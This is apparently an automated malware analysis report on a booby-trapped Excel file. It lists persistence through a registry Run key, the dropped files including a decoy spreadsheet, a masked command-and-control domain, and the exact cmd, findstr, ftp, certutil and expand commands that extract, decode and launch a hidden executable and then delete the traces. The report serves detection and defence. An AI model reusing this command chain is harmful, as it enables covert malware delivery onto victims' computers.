Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'mpvis' = 'c:\users\public\INTERU~1.EXE'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c findstr /b /c:!findstr /c:!certut /c:!expand /c:!del /c:quit /c:TVNDRgAAAA "<PATH_SAMPLE>.xls" >> c:\users\public\cmd & ftp -s:c:\users\public\cmd
Modifies file system
Creates the following files
- C:\users\public\cmd
- C:\users\public\tmp9gt5qtbj
- C:\users\public\tmp9h4ak15q
- C:\users\public\$dpx$.tmp\98f7d8802df8ff4cb0f0463b6eb57c4e.tmp
- C:\users\public\$dpx$.tmp\5c69016ce873d64ebf938cb9ffa7fed3.tmp
- C:\users\public\$dpx$.tmp\42c922f442178a4fbd2fdf49f80fe7d1.tmp
- C:\users\public\$dpx$.tmp\6b7fedd63c61ea44b173450db8483d92.tmp
Moves the following files
- from C:\users\public\$dpx$.tmp\98f7d8802df8ff4cb0f0463b6eb57c4e.tmp to C:\users\public\interupts.exe
- from C:\users\public\$dpx$.tmp\5c69016ce873d64ebf938cb9ffa7fed3.tmp to C:\users\public\revertx.wmz
- from C:\users\public\$dpx$.tmp\42c922f442178a4fbd2fdf49f80fe7d1.tmp to C:\users\public\admin.dll
- from C:\users\public\$dpx$.tmp\6b7fedd63c61ea44b173450db8483d92.tmp to C:\users\public\~danh sach ung vien bct va bbt khoa xiii.xls
Network activity
TCP
- 'fr##.#arykon.com':443
UDP
- DNS ASK fr##.#arykon.com
Miscellaneous
Creates and executes the following
- 'C:\users\public\interupts.exe'
- '<SYSTEM32>\cmd.exe' /c findstr /b /c:!findstr /c:!certut /c:!expand /c:!del /c:quit /c:TVNDRgAAAA "<PATH_SAMPLE>.xls" >> c:\users\public\cmd & ftp -s:c:\users\public\cmd' (with hidden window)
Executes the following
- '<SYSTEM32>\findstr.exe' /b /c:!findstr /c:!certut /c:!expand /c:!del /c:quit /c:TVNDRgAAAA "<PATH_SAMPLE>.xls"
- '<SYSTEM32>\ftp.exe' -s:c:\users\public\cmd
- '<SYSTEM32>\cmd.exe' /C findstr /B TVNDRgAAAA c:\users\public\cmd >c:\users\public\tmp9gt5qtbj
- '<SYSTEM32>\findstr.exe' /B TVNDRgAAAA c:\users\public\cmd
- '<SYSTEM32>\cmd.exe' /C certutil -f -decode c:\users\public\tmp9gt5qtbj c:\users\public\tmp9h4ak15q
- '<SYSTEM32>\certutil.exe' -f -decode c:\users\public\tmp9gt5qtbj c:\users\public\tmp9h4ak15q
- '<SYSTEM32>\cmd.exe' /C expand -R -F:* c:\users\public\tmp9h4ak15q c:\users\public\ & c:\users\public\Interupts.exe & del /q c:\users\public\tmp9gt5qtbj c:\users\public\cmd c:\users\public\tmp9h4ak15q
- '<SYSTEM32>\expand.exe' -R -F:* c:\users\public\tmp9h4ak15q c:\users\public\
